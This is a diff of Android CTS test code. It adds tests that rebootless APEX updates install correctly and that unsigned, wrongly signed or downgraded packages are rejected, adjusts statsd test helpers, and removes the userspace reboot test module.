     private static int stageApex(String apexFileName) throws Exception {
         TestApp apexTestApp = new TestApp("ShimApex", SHIM_APEX_PACKAGE_NAME, 2,
                 true, apexFileName);
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
index 24501e3..e7d419b 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
@@ -166,6 +166,12 @@
     private static final TestApp Apex2SignPayloadWithDifferentKey = new TestApp(
             "StagedInstallTestApexV2_SignPayloadWithDifferentKey", SHIM_APEX_PACKAGE_NAME, 1,
             /*isApex*/true, "com.android.apex.cts.shim.v2_sign_payload_with_different_key.apex");
+    private static final TestApp Apex2Rebootless = new TestApp(
+            "StagedInstallTestApexV2_Rebootless", SHIM_APEX_PACKAGE_NAME, 2,
+            /*isApex*/true, "com.android.apex.cts.shim.v2_rebootless.apex");
+    private static final TestApp Apex3Rebootless = new TestApp(
+            "StagedInstallTestApexV3_Rebootless", SHIM_APEX_PACKAGE_NAME, 3,
+            /*isApex*/true, "com.android.apex.cts.shim.v3_rebootless.apex");
 
     @Before
     public void adoptShellPermissions() {
@@ -1258,6 +1264,173 @@
         assertThat(isUpdatedSystemApp).isTrue();
     }
 
+    @Test
+    public void testRebootlessUpdate() throws Exception {
+        InstallUtils.dropShellPermissionIdentity();
+        InstallUtils.adoptShellPermissionIdentity(Manifest.permission.INSTALL_PACKAGE_UPDATES);
+
+        final PackageManager pm =
+                InstrumentationRegistry.getInstrumentation().getContext().getPackageManager();
+        {
+            PackageInfo apex = pm.getPackageInfo(SHIM_APEX_PACKAGE_NAME, PackageManager.MATCH_APEX);
+            assertThat(apex.getLongVersionCode()).isEqualTo(1);
+            assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM)
+                    .isEqualTo(ApplicationInfo.FLAG_SYSTEM);
+            assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED)
+                    .isEqualTo(ApplicationInfo.FLAG_INSTALLED);
+            assertThat(apex.applicationInfo.sourceDir).startsWith("/system/apex");
+        }
+
+        Install.single(Apex2Rebootless).commit();
+        {
+            PackageInfo apex = pm.getPackageInfo(SHIM_APEX_PACKAGE_NAME, PackageManager.MATCH_APEX);
+            assertThat(apex.getLongVersionCode()).isEqualTo(2);
+            assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM).isEqualTo(0);
+            assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED)
+                    .isEqualTo(ApplicationInfo.FLAG_INSTALLED);
+            assertThat(apex.applicationInfo.sourceDir).startsWith("/data/apex/active");
+        }
+        {
+            PackageInfo apex = pm.getPackageInfo(SHIM_APEX_PACKAGE_NAME,
+                    PackageManager.MATCH_APEX | PackageManager.MATCH_FACTORY_ONLY);
+            assertThat(apex.getLongVersionCode()).isEqualTo(1);
+            assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM)
+                    .isEqualTo(ApplicationInfo.FLAG_SYSTEM);
+            assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED).isEqualTo(0);
+            assertThat(apex.applicationInfo.sourceDir).startsWith("/system/apex");
+        }
+    }
+
+    @Test
+    public void testRebootlessUpdate_installV3() throws Exception {
+        InstallUtils.dropShellPermissionIdentity();
+        InstallUtils.adoptShellPermissionIdentity(Manifest.permission.INSTALL_PACKAGE_UPDATES);
+
+        final PackageManager pm =
+                InstrumentationRegistry.getInstrumentation().getContext().getPackageManager();
+
+        Install.single(Apex3Rebootless).commit();
+        {
+            PackageInfo apex = pm.getPackageInfo(SHIM_APEX_PACKAGE_NAME, PackageManager.MATCH_APEX);
+            assertThat(apex.getLongVersionCode()).isEqualTo(3);
+            assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM).isEqualTo(0);
+            assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED)
+                    .isEqualTo(ApplicationInfo.FLAG_INSTALLED);
+            assertThat(apex.applicationInfo.sourceDir).startsWith("/data/apex/active");
+        }
+        {
+            PackageInfo apex = pm.getPackageInfo(SHIM_APEX_PACKAGE_NAME,
+                    PackageManager.MATCH_APEX | PackageManager.MATCH_FACTORY_ONLY);
+            assertThat(apex.getLongVersionCode()).isEqualTo(1);
+            assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM)
+                    .isEqualTo(ApplicationInfo.FLAG_SYSTEM);
+            assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED).isEqualTo(0);
+            assertThat(apex.applicationInfo.sourceDir).startsWith("/system/apex");
+        }
+    }
+
+    @Test
+    public void testRebootlessUpdate_downgradeToV2_fails() throws Exception {
+        InstallUtils.dropShellPermissionIdentity();
+        InstallUtils.adoptShellPermissionIdentity(Manifest.permission.INSTALL_PACKAGE_UPDATES);
+
+        final PackageManager pm =
+                InstrumentationRegistry.getInstrumentation().getContext().getPackageManager();
+
+        {
+            PackageInfo apex = pm.getPackageInfo(SHIM_APEX_PACKAGE_NAME, PackageManager.MATCH_APEX);
+            assertThat(apex.getLongVersionCode()).isEqualTo(3);
+            assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM).isEqualTo(0);
+            assertThat(apex.applicationInfo.flags & ApplicationInfo.FLAG_INSTALLED)
+                    .isEqualTo(ApplicationInfo.FLAG_INSTALLED);
+            assertThat(apex.applicationInfo.sourceDir).startsWith("/data/apex/active");
+        }
+
+        InstallUtils.commitExpectingFailure(
+                    AssertionError.class,
+                    "Downgrade of APEX package com.android.apex.cts.shim is not allowed",
+                    Install.single(Apex2Rebootless));
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(3);
+    }
+
+    @Test
+    public void testRebootlessUpdate_noPermission_fails() throws Exception {
+        InstallUtils.dropShellPermissionIdentity();
+
+        InstallUtils.commitExpectingFailure(SecurityException.class,
+                    "Not allowed to perform APEX updates",
+                    Install.single(Apex2Rebootless));
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+    }
+
+    @Test
+    public void testRebootlessUpdate_noPreInstalledApex_fails() throws Exception {
+        assertThat(getInstalledVersion(DIFFERENT_APEX_PACKAGE_NAME)).isEqualTo(-1);
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+
+        InstallUtils.commitExpectingFailure(
+                AssertionError.class,
+                "It is forbidden to install new APEX packages",
+                Install.single(Apex2DifferentPackageName));
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+    }
+
+    @Test
+    public void testRebootlessUpdate_unsignedPayload_fails() throws Exception {
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+
+        InstallUtils.commitExpectingFailure(
+                AssertionError.class,
+                "AVB footer verification failed",
+                Install.single(Apex2UnsignedPayload));
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+    }
+
+    @Test
+    public void testRebootlessUpdate_payloadSignedWithDifferentKey_fails() throws Exception {
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+
+        InstallUtils.commitExpectingFailure(
+                AssertionError.class,
+                "public key doesn't match the pre-installed one",
+                Install.single(Apex2SignPayloadWithDifferentKey));
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+    }
+
+    @Test
+    public void testRebootlessUpdate_outerContainerSignedWithDifferentCert_fails()
+            throws Exception {
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+
+        InstallUtils.commitExpectingFailure(
+                AssertionError.class,
+                "APK container signature of .+ is not compatible with currently installed",
+                Install.single(Apex2DifferentCertificate));
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+    }
+
+    @Test
+    public void testRebootlessUpdate_outerContainerUnsigned_fails() throws Exception {
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+
+        InstallUtils.commitExpectingFailure(
+                AssertionError.class,
+                "Failed collecting certificates for",
+                Install.single(Apex2NoApkSignature));
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+    }
+
+    @Test
+    public void testRebootlessUpdate_targetsOlderSdk_fails() throws Exception {
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+
+        InstallUtils.commitExpectingFailure(
+                AssertionError.class,
+                "Requires development platform P",
+                Install.single(Apex2SdkTargetP));
+        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
+    }
+
     // It becomes harder to maintain this variety of install-related helper methods.
     // TODO(ioffe): refactor install-related helper methods into a separate utility.
     private static int createStagedSession() throws Exception {
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java
index dba49e9..ef03c1f 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java
@@ -210,6 +210,31 @@
         runPhase("testInstallRejected_VerifyPostReboot");
     }
 
+    @Test
+    public void testRejectsApexWithAdditionalFile_rebootless() throws Exception {
+        runPhase("testRejectsApexWithAdditionalFile_rebootless");
+    }
+
+    @Test
+    public void testRejectsApexWithAdditionalFolder_rebootless() throws Exception {
+        runPhase("testRejectsApexWithAdditionalFolder_rebootless");
+    }
+
+    @Test
+    public void testRejectsApexWithPostInstallHook_rebootless() throws Exception {
+        runPhase("testRejectsApexWithPostInstallHook_rebootless");
+    }
+
+    @Test
+    public void testRejectsApexWithPreInstallHook_rebootless() throws Exception {
+        runPhase("testRejectsApexWithPreInstallHook_rebootless");
+    }
+
+    @Test
+    public void testRejectsApexWrongSHA_rebootless() throws Exception {
+        runPhase("testRejectsApexWrongSHA_rebootless");
+    }
+
     /**
      * Extracts {@link #DEAPEXER_ZIP_FILE_NAME} into the destination folder. Updates executable
      * attribute for the binaries of deapexer and debugfs_static.
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
index b9b12a2..73e832e 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
@@ -356,7 +356,27 @@
     public void testInstallStagedApex_SameGrade() throws Exception {
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
         installV3Apex();
+        ApexInfo shim1 =
+                readApexInfoList().stream()
+                        .filter(a -> a.getModuleName().equals(SHIM_APEX_PACKAGE_NAME))
+                        .filter(ApexInfo::getIsActive)
+                        .findAny()
+                        .orElseThrow(() ->
+                                new AssertionError(
+                                        "No active version of " + SHIM_APEX_PACKAGE_NAME
+                                                + " found in /apex/apex-info-list.xml"));
+
         installV3Apex();
+        ApexInfo shim2 =
+                readApexInfoList().stream()
+                        .filter(a -> a.getModuleName().equals(SHIM_APEX_PACKAGE_NAME))
+                        .filter(ApexInfo::getIsActive)
+                        .findAny()
+                        .orElseThrow(() ->
+                                new AssertionError(
+                                        "No active version of " + SHIM_APEX_PACKAGE_NAME
+                                                + " found in /apex/apex-info-list.xml"));
+        assertThat(shim1.getLastUpdateMillis()).isNotEqualTo(shim2.getLastUpdateMillis());
     }
 
     @Test
@@ -732,6 +752,7 @@
             assertThat(apexInfo.getModulePath()).isEqualTo(apex.sourceDir);
             assertThat(apexInfo.getVersionCode()).isEqualTo(apex.versionCode);
             assertThat(apexInfo.getIsActive()).isTrue();
+            assertThat(apexInfo.getLastUpdateMillis()).isGreaterThan(0);
         }
     }
 
@@ -739,6 +760,8 @@
     public void testApexInfoListAfterUpdate() throws Exception {
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
 
+        ApexInfo shimBeforeUpdate = getShimApexInfo();
+
         installV2Apex();
 
         List<ApexInfo> shimApexInfo =
@@ -762,6 +785,8 @@
         assertThat(factoryShimApexInfo.getVersionCode()).isEqualTo(1);
         assertThat(factoryShimApexInfo.getModulePath())
                 .isEqualTo(factoryShimApexInfo.getPreinstalledModulePath());
+        assertThat(factoryShimApexInfo.getLastUpdateMillis())
+                .isEqualTo(shimBeforeUpdate.getLastUpdateMillis());
 
         ApexInfo activeShimApexInfo =
                 shimApexInfo.stream()
@@ -777,6 +802,108 @@
         assertThat(activeShimApexInfo.getVersionCode()).isEqualTo(2);
         assertThat(activeShimApexInfo.getPreinstalledModulePath())
                 .isEqualTo(factoryShimApexInfo.getModulePath());
+        assertThat(activeShimApexInfo.getLastUpdateMillis())
+                .isNotEqualTo(shimBeforeUpdate.getLastUpdateMillis());
+    }
+
+    @Test
+    @LargeTest
+    public void testRebootlessUpdate() throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testRebootlessUpdate");
+        ApexInfo activeShimApexInfo = getActiveShimApexInfo();
+        assertThat(activeShimApexInfo.getModuleName()).isEqualTo(SHIM_APEX_PACKAGE_NAME);
+        assertThat(activeShimApexInfo.getIsActive()).isTrue();
+        assertThat(activeShimApexInfo.getIsFactory()).isFalse();
+        assertThat(activeShimApexInfo.getVersionCode()).isEqualTo(2);
+    }
+
+    @Test
+    public void testRebootlessUpdate_fromV2ToV3_sameBoot() throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testRebootlessUpdate");
+        runPhase("testRebootlessUpdate_installV3");
+        ApexInfo activeShimApexInfo = getActiveShimApexInfo();
+        assertThat(activeShimApexInfo.getModuleName()).isEqualTo(SHIM_APEX_PACKAGE_NAME);
+        assertThat(activeShimApexInfo.getIsActive()).isTrue();
+        assertThat(activeShimApexInfo.getIsFactory()).isFalse();
+        assertThat(activeShimApexInfo.getVersionCode()).isEqualTo(3);
+    }
+
+    @Test
+    @LargeTest
+    public void testRebootlessUpdate_fromV2ToV3_rebootInBetween() throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testRebootlessUpdate");
+        getDevice().reboot();
+        runPhase("testRebootlessUpdate_installV3");
+        ApexInfo activeShimApexInfo = getActiveShimApexInfo();
+        assertThat(activeShimApexInfo.getModuleName()).isEqualTo(SHIM_APEX_PACKAGE_NAME);
+        assertThat(activeShimApexInfo.getIsActive()).isTrue();
+        assertThat(activeShimApexInfo.getIsFactory()).isFalse();
+        assertThat(activeShimApexInfo.getVersionCode()).isEqualTo(3);
+    }
+
+    @Test
+    @LargeTest
+    public void testRebootlessUpdate_downgrage_fails() throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testRebootlessUpdate_installV3");
+        runPhase("testRebootlessUpdate_downgradeToV2_fails");
+    }
+
+    @Test
+    public void testRebootlessUpdate_noPermission_fails() throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testRebootlessUpdate_noPermission_fails");
+    }
+
+    @Test
+    public void testRebootlessUpdate_noPreInstalledApex_fails() throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testRebootlessUpdate_noPreInstalledApex_fails");
+    }
+
+    @Test
+    public void testRebootlessUpdate_unsignedPayload_fails() throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testRebootlessUpdate_unsignedPayload_fails");
+    }
+
+    @Test
+    public void testRebootlessUpdate_payloadSignedWithDifferentKey_fails() throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testRebootlessUpdate_payloadSignedWithDifferentKey_fails");
+    }
+
+    @Test
+    public void testRebootlessUpdate_outerContainerSignedWithDifferentCert_fails()
+            throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testRebootlessUpdate_outerContainerSignedWithDifferentCert_fails");
+    }
+
+    @Test
+    public void testRebootlessUpdate_outerContainerUnsigned_fails() throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testRebootlessUpdate_outerContainerUnsigned_fails");
+    }
+
+    @Test
+    public void testRebootlessUpdate_targetsOlderSdk_fails() throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testRebootlessUpdate_targetsOlderSdk_fails");
     }
 
     private List<ApexInfo> readApexInfoList() throws Exception {
@@ -786,6 +913,26 @@
         }
     }
 
+    private ApexInfo getShimApexInfo() throws Exception {
+        List<ApexInfo> temp =
+                readApexInfoList().stream()
+                            .filter(a -> a.getModuleName().equals(SHIM_APEX_PACKAGE_NAME))
+                            .collect(Collectors.toList());
+        assertThat(temp).hasSize(1);
+        return temp.get(0);
+    }
+
+    private ApexInfo getActiveShimApexInfo() throws Exception {
+        return readApexInfoList().stream()
+                    .filter(a -> a.getModuleName().equals(SHIM_APEX_PACKAGE_NAME))
+                    .filter(ApexInfo::getIsActive)
+                    .findAny()
+                    .orElseThrow(() ->
+                            new AssertionError(
+                                    "No active version of " + SHIM_APEX_PACKAGE_NAME
+                                            + " found in /apex/apex-info-list.xml"));
+    }
+
     /**
      * Store the component name of the default launcher. This value will be used to reset the
      * default launcher to its correct component upon test completion.
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java
index cac353e..10eec55 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/DeviceUtils.java
@@ -43,6 +43,7 @@
 
 import java.io.FileNotFoundException;
 import java.util.Map;
+import java.util.StringTokenizer;
 import javax.annotation.Nonnull;
 import javax.annotation.Nullable;
 
@@ -243,7 +244,15 @@
      */
     public static boolean hasFeature(ITestDevice device, String feature) throws Exception {
         final String features = device.executeShellCommand("pm list features");
-        return features.contains(feature);
+        StringTokenizer featureToken = new StringTokenizer(features, "\n");
+
+        while(featureToken.hasMoreTokens()) {
+            if (("feature:" + feature).equals(featureToken.nextToken())) {
+                return true;
+            }
+        }
+
+        return false;
     }
 
     /**
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
index 9188894..1d9cdc2 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/lib/ReportUtils.java
@@ -19,7 +19,10 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import com.android.os.StatsLog;
+
 import com.android.os.AtomsProto.Atom;
+import com.android.os.StatsLog;
 import com.android.os.StatsLog.ConfigMetricsReport;
 import com.android.os.StatsLog.ConfigMetricsReportList;
 import com.android.os.StatsLog.EventMetricData;
@@ -28,12 +31,15 @@
 import com.android.os.StatsLog.StatsLogReport;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.util.Pair;
 
 import com.google.protobuf.InvalidProtocolBufferException;
 
 import java.util.ArrayList;
+import java.util.Collections;
 import java.util.Comparator;
 import java.util.List;
+import java.util.stream.Collectors;
 
 public final class ReportUtils {
     private static final String DUMP_REPORT_CMD = "cmd stats dump-report";
@@ -51,7 +57,7 @@
 
     /**
      * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
-     * contain a single report).
+     * contain a single report) and sorts the atoms by timestamp within the report.
      */
     public static List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList)
             throws Exception {
@@ -60,7 +66,14 @@
 
         List<EventMetricData> data = new ArrayList<>();
         for (StatsLogReport metric : report.getMetricsList()) {
-            data.addAll(metric.getEventMetrics().getDataList());
+            for (EventMetricData metricData :
+                    metric.getEventMetrics().getDataList()) {
+                if (metricData.hasAtom()) {
+                    data.add(metricData);
+                } else {
+                    data.addAll(backfillAggregatedAtomsInEventMetric(metricData));
+                }
+            }
         }
         data.sort(Comparator.comparing(EventMetricData::getElapsedTimestampNanos));
 
@@ -71,6 +84,23 @@
         return data;
     }
 
+
+    private static List<EventMetricData> backfillAggregatedAtomsInEventMetric(
+            EventMetricData metricData) {
+        if (!metricData.hasAggregatedAtomInfo()) {
+            return Collections.emptyList();
+        }
+        List<EventMetricData> data = new ArrayList<>();
+        StatsLog.AggregatedAtomInfo atomInfo = metricData.getAggregatedAtomInfo();
+        for (long timestamp : atomInfo.getElapsedTimestampNanosList()) {
+            data.add(EventMetricData.newBuilder()
+                    .setAtom(atomInfo.getAtom())
+                    .setElapsedTimestampNanos(timestamp)
+                    .build());
+        }
+        return data;
+    }
+
     public static List<Atom> getGaugeMetricAtoms(ITestDevice device) throws Exception {
         return getGaugeMetricAtoms(device, /*checkTimestampTruncated=*/false);
     }
@@ -93,9 +123,13 @@
         for (GaugeMetricData d : report.getMetrics(0).getGaugeMetrics().getDataList()) {
             assertThat(d.getBucketInfoCount()).isEqualTo(1);
             GaugeBucketInfo bucketInfo = d.getBucketInfo(0);
-            atoms.addAll(bucketInfo.getAtomList());
+            if (bucketInfo.getAtomCount() != 0) {
+                atoms.addAll(bucketInfo.getAtomList());
+            } else {
+                backFillGaugeBucketAtoms(bucketInfo.getAggregatedAtomInfoList());
+            }
             if (checkTimestampTruncated) {
-                for (long timestampNs: bucketInfo.getElapsedTimestampNanosList()) {
+                for (long timestampNs : bucketInfo.getElapsedTimestampNanosList()) {
                     assertTimestampIsTruncated(timestampNs);
                 }
             }
@@ -108,6 +142,18 @@
         return atoms;
     }
 
+    private static List<Atom> backFillGaugeBucketAtoms(
+            List<StatsLog.AggregatedAtomInfo> atomInfoList) {
+        List<Pair<Atom, Long>> atomTimestamp = new ArrayList<>();
+        for (StatsLog.AggregatedAtomInfo atomInfo : atomInfoList) {
+            for (long timestampNs : atomInfo.getElapsedTimestampNanosList()) {
+                atomTimestamp.add(Pair.create(atomInfo.getAtom(), timestampNs));
+            }
+        }
+        atomTimestamp.sort(Comparator.comparing(o -> o.second));
+        return atomTimestamp.stream().map(p -> p.first).collect(Collectors.toList());
+    }
+
     /**
      * Delete all pre-existing reports corresponding to the CTS config.
      */
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
index ad92513..d907249 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
@@ -229,14 +229,19 @@
 
         // Trigger events in same order.
         DeviceUtils.plugInAc(getDevice());
+        DeviceUtils.flushBatteryStatsHandlers(getDevice());
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
         DeviceUtils.unplugDevice(getDevice());
+        DeviceUtils.flushBatteryStatsHandlers(getDevice());
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
         plugInUsb();
+        DeviceUtils.flushBatteryStatsHandlers(getDevice());
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
         DeviceUtils.unplugDevice(getDevice());
+        DeviceUtils.flushBatteryStatsHandlers(getDevice());
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
         plugInWireless();
+        DeviceUtils.flushBatteryStatsHandlers(getDevice());
         Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
         DeviceUtils.unplugDevice(getDevice());
         DeviceUtils.flushBatteryStatsHandlers(getDevice());
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/ProcStateAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/ProcStateAtomTests.java
index 40735c3..11353ce 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/ProcStateAtomTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/ProcStateAtomTests.java
@@ -231,7 +231,7 @@
         Thread.sleep(WAIT_TIME_FOR_SCREEN_MS);
 
         executeForegroundActivity(getDevice(), ACTION_SLEEP_WHILE_TOP);
-        // ASAP, turn off the screen to make proc state -> top_sleeping.
+        Thread.sleep(WAIT_TIME_FOR_SCREEN_MS);
         DeviceUtils.turnScreenOff(getDevice());
         final int waitTime = SLEEP_OF_ACTION_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS;
         Thread.sleep(waitTime + STATSD_REPORT_WAIT_TIME_MS);
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
index 67478a7..c363d84 100644
--- a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/UidAtomTests.java
@@ -220,7 +220,8 @@
                 atomTag,  /*uidInAttributionChain=*/false);
 
         DeviceUtils.runActivity(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
-                "StatsdCtsForegroundActivity", "action", "action.native_crash");
+                "StatsdCtsForegroundActivity", "action", "action.native_crash",
+                /* waitTimeMs= */ 5000L);
 
         // Sorted list of events in order in which they occurred.
         List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
diff --git a/hostsidetests/theme/assets/31/450dpi.zip b/hostsidetests/theme/assets/31/450dpi.zip
new file mode 100644
index 0000000..5ce9a1e
--- /dev/null
+++ b/hostsidetests/theme/assets/31/450dpi.zip
Binary files differ
diff --git a/hostsidetests/userspacereboot/Android.bp b/hostsidetests/userspacereboot/Android.bp
deleted file mode 100644
index f64c740..0000000
--- a/hostsidetests/userspacereboot/Android.bp
+++ /dev/null
@@ -1,38 +0,0 @@
-// Copyright (C) 2019 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//     http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
-java_test_host {
-    name: "CtsUserspaceRebootHostSideTestCases",
-    defaults: ["cts_defaults"],
-    srcs:  ["src/**/*.java"],
-    libs: [
-        "cts-tradefed",
-        "tradefed",
-        "truth-prebuilt",
-        "hamcrest",
-        "hamcrest-library",
-    ],
-    data: [
-        ":BasicUserspaceRebootTestApp",
-        ":BootCompletedUserspaceRebootTestApp",
-    ],
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
-}
diff --git a/hostsidetests/userspacereboot/AndroidTest.xml b/hostsidetests/userspacereboot/AndroidTest.xml
deleted file mode 100644
index 5df919f..0000000
--- a/hostsidetests/userspacereboot/AndroidTest.xml
+++ /dev/null
@@ -1,26 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-<configuration description="Runs userspace reboot CTS tests">
-    <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="framework" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
-    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
-        <option name="class" value="com.android.cts.userspacereboot.host.UserspaceRebootHostTest" />
-    </test>
-</configuration>
diff --git a/hostsidetests/userspacereboot/OWNERS b/hostsidetests/userspacereboot/OWNERS
deleted file mode 100644
index 7d30d02..0000000
--- a/hostsidetests/userspacereboot/OWNERS
+++ /dev/null
@@ -1,2 +0,0 @@
-dvander@google.com
-ioffe@google.com
diff --git a/hostsidetests/userspacereboot/TEST_MAPPING b/hostsidetests/userspacereboot/TEST_MAPPING
deleted file mode 100644
index cf97bfa..0000000
--- a/hostsidetests/userspacereboot/TEST_MAPPING
+++ /dev/null
@@ -1,7 +0,0 @@
-{
-  "presubmit" : [
-    {
-      "name": "CtsUserspaceRebootHostSideTestCases"
-    }
-  ]
-}
